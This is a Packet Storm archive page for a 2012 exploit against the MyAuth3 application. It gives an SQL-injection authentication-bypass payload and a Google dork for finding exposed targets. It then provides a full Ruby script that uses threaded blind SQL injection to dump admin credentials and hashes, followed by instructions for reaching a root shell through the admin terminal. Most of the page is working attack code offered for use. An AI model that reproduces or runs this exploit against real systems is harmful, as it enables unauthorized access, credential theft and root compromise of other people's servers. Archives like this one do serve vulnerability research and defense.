exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

MyAuth3 Blind SQL Injection

MyAuth3 Blind SQL Injection
Posted Oct 6, 2012
Authored by Marcio Almeida

MyAuth3 suffers from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 20fadbb2046474a1cd41ed731732fd403043fbffc82e2b5468d421ad6babefb0

MyAuth3 Blind SQL Injection

Change Mirror Download
# Exploit Title: MyAuth3 Blind SQL Injection / Root Shell Access 0day exploit
# Google Dork: allinurl:1881/?console=panel
# Date: 09/06/2011
# Author: Marcio Almeida (marcio[at]alligatorteam[dot]org | @marcioalm)
# Version: 3.0
# Tested on: Linux

#EDB-Note: apparently no true exploit is needed to dump system pwd hashes, because the admin myauth users have the ability to run a terminal session

---------------
PoC (POST data)
---------------
URL:
http://localhost:1881/index.php?console=panel

POST Data (Authentication bypass):
panel_cmd=auth&r=ok&user=alligatorteam&pass=' or 1=1#
---------------

This application has a accessible root shell in the admin interface located at:

http://localhost:1881/admin/

When you access it, just go to tools / terminal menu and g0t r00t!

The following code will manage all the dirty work for you!

enjoy ;-)

############## EXPLOIT CODE [myauth3_xpl.rb] ##################

require "net/http"
require "net/https"
require "erb"
require "singleton"
require 'uri'

sql = "select concat(user,0x20,pass) from admusers where enable = 1 and accesslevel >= 20"
@target = ARGV[0]
numthreads = ARGV[1]
@verbose = ARGV[2]
@cookie = ""

puts "+=============================================================================+"
puts "| MyAuth 3 - Blind SQL Injection / Root Shell Access 0day exploit |"
puts "| Google Dork: allinurl:1881/?console=panel |"
puts "| author: Marcio Almeida (marcio@alligatorteam.org) |"
puts "| |"
puts "| by Alligator Security Team | irc://irc.freenode.net:8001/#Alligator |"
puts "| twitter: @alligatorteam |"
puts "+=============================================================================+"
puts
if (ARGV[0].nil? || ARGV[1].nil?)

puts "usage (non verbose): ruby -W0 #{__FILE__} address num_threads"
puts "usage (verbose): ruby -W0 #{__FILE__} address num_threads -v"
puts "-----------------------------------------------------------"
puts "Example 1: ruby -W0 #{__FILE__} 127.0.0.1 5"
puts "Example 2: ruby -W0 #{__FILE__} www.vulnsite.com.br 5 -v"
exit(0)
end

def requisicao(posicao,p_substr,sql)
useragent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1'
@http = Net::HTTP.new(@target, 1881)
# @http.use_ssl = true
parametro = "panel_cmd=auth&r=ok&user=alligatorteam&pass=' or #{posicao} >= ascii(substr((#{sql}),#{p_substr.to_s},1))#"
begin
resp, data = @http.post2("/index.php?console=panel", parametro, {'User-Agent' => useragent, 'Cookie' => @cookie.to_s })
resultado = data.match(/Financeiro/)
rescue Exception=>e
puts e
end
if resultado.nil?
return false
else
return true
end
end

def busca_r( menor, maior, p_substr,sql )
return -1 if menor > maior
return maior if (maior-menor)==1
posicao = (menor+maior)/2
if (requisicao(posicao,p_substr,sql))
busca_r( menor, posicao, p_substr,sql )
else
busca_r( posicao, maior,p_substr,sql )
end
end

def busca_sql(inicio, qtdThreads, sql, str_final)
resultado = 0
while (resultado != 1) do
str_final[inicio] = ""
resultado = busca_r(0,255,inicio,sql)
if resultado != 1
if @verbose == "-v"
puts inicio.to_s+") Character Found: "+resultado.to_s+" - "+resultado.chr.to_s
end
str_final[inicio] += resultado.chr.to_s
inicio = inicio + qtdThreads.to_i
end
end
end

def busca_com_threads(sql, numthreads)
str_final = []

threads = []
count = 1
numthreads.to_i.times{|i|
threads << Thread.new {
busca_sql(count, numthreads, sql, str_final)
}
count += 1
}

threads.each do |t|
t.join
end

puts str_final.to_s

end

puts "When you crack any of the following hashes, go to http://"+ @target + ":1881/admin to login into the application."
puts "Then go to tools / terminal menu and get a r00t shell access ;-)"
puts "=========================================================================="
puts "[+] admusers table dumping... (maybe it'll take a little bit of time...)"
puts "=========================================================================="

100.times { |i|
busca_com_threads(sql+" limit 1 offset " + i.to_s, numthreads)
}




Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close